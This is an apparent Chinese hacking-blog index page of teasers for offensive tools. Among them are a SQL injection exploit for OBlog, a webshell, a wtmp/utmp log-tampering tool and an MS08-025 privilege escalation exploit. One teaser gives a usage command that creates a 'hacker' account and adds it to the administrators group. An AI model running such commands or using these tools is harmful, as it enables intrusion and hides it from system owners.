鬼仔's Blog

作者：demonalex
来源：demonalex的狂人日记

下载地址：www.i170.com/Attach/1FE8616F-DC44-4A57-BBCE-5A8547B4648C

官方已经修正该漏洞。

–==+=================== www.nspcn.org =================+==–
–==+                OBlog (tags.asp) Remote SQL Injection Exploit             +==–
–==+====================================================================================+==–

#Author: Whytt & Tr4c3[at]126[dot]com
#版权所有:http://www.nspcn.org & [BK瞬间群] & Whytt
#漏洞文件tags.asp
阅读全文 »

来源：vbs空间

有时,渗透时,溢出得个SHELL,或只有一个CMDSHELL,想下载些东西,或上传东西,时真是不方便啊

特别是当目标不能上网,或限制比较严格时…

ECHO东西,手工输入,那个累啊….还是弄个脚本方便些…

阅读全文 »

文章作者：xi4oyu

还是放出来好了，免得老找我要这东西。功能应该比网上的日志清除工具都要好。它是修改，而不是纯粹的删除和清空基于wtmpclean改的，所以我名字都没换

上几张图好了：
修改wtmp与utmp 与username和hostname相符的条目，同时保留timestamp

阅读全文 »

作者：小幽
来源：小幽’s blog

功能: CMDSHELL, 文件上传, 文件列表管理, 文件读取,自定义MSSQL SEHLL 安装,……..

阅读全文 »

作者：lcx
来源：vbs小铺

阅读全文 »

update(2008.5.9):姬良：“这个和网上的不同，这个不是用双引号括住命令，而是用参数-s”

来源：%5C

真正可用的MS08025。
为了多次运行，服务器蓝屏，请直接用一次运行所有的命令
比如：
MS08025 “cmd.exe /c net user hacker hacker /add & net localgroup administrators hacker /add”

Local Privilege Escalation Vulnerability Exploit(MS08025)

阅读全文 »

作者：lcx
来源：vbs小铺

阅读全文 »